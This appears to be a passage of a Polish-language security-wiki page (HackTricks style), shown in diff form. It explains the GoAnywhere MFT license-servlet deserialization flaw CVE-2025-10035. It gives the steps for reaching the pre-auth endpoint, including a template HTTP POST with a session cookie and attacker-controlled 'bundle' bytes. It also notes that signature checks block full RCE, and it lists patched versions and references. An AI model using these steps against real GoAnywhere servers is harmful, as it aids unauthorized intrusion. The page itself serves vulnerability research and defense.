Otrzymaj 302 z bundle=... i ASESSIONID=...; odszyfruj bundle offline, aby odzyskać GUID.
|
||||||
|
|
||||||
|
2) Dotrzyj do sink pre-auth z tym samym cookie:
|
||||||
|
```http
|
||||||
|
POST /goanywhere/lic/accept/<GUID> HTTP/1.1
|
||||||
|
Cookie: ASESSIONID=<value>
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
|
bundle=<attacker-controlled-bytes>
|
||||||
|
```
|
||||||
|
3) RCE wymaga poprawnie podpisanego SignedObject zawierającego gadget chain. Badacze nie byli w stanie obejść weryfikacji podpisu; eksploatacja zależy od dostępu do pasującego klucza prywatnego lub signing oracle.
|
||||||
|
|
||||||
|
## Naprawione wersje i zmiany w zachowaniu
|
||||||
|
|
||||||
|
- GoAnywhere MFT 7.8.4 and Sustain Release 7.6.3:
|
||||||
|
- Wzmocniono wewnętrzną deserializację przez zastąpienie SignedObject.getObject() wrapperem (deserializeUntrustedSignedObject).
|
||||||
|
- Usunięto generowanie tokenów obsługi błędów, zamykając pre-auth reachability.
|
||||||
|
|
||||||
|
## Uwagi dotyczące JSF/ViewState
|
||||||
|
|
||||||
|
Sztuczka z reachability wykorzystuje stronę JSF (.xhtml) i nieprawidłowy javax.faces.ViewState, aby przekierować do uprzywilejowanego error handlera. Chociaż nie jest to problem deserializacji JSF, to powtarzający się wzorzec pre-auth: wejść do error handlerów, które wykonują uprzywilejowane akcje i ustawiają atrybuty sesji istotne dla bezpieczeństwa.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/)
|
||||||
|
- [Fortra advisory FI-2025-012 – Deserialization Vulnerability in GoAnywhere MFT's License Servlet](https://www.fortra.com/security/advisories/product-security/fi-2025-012)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user